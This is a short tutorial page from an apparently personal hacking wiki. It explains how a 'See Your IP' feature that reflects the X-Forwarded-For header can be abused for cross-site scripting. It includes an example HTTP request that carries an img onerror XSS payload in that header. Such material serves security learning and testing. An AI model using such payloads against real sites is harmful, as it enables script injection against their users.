> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/header-poisoning-wip.md).

# Header Poisoning (WIP)

Sometimes headers could be injected with XSS when its content is used directly in some functionalities of the app.

Here we find an example of this scenario:

* An application has a *See Your IP* functionality which retrieves the information of the user's IP via the `X-Forwarded-For` header.

{% code title="Example Request" overflow="wrap" lineNumbers="true" fullWidth="false" %}

```http
GET http://$url HTTP/1.1
host: host
X-Forwarded-For: $IP
...
```

{% endcode %}

***

* We can inject JavaScript code, so when this function is triggered, the payload will be executed

{% code title="Example Request" overflow="wrap" lineNumbers="true" fullWidth="false" %}

```http
GET http://$url HTTP/1.1
host: host
X-Forwarded-For: <img src=x onerror='alert("HACKED")'/>
...
```

{% endcode %}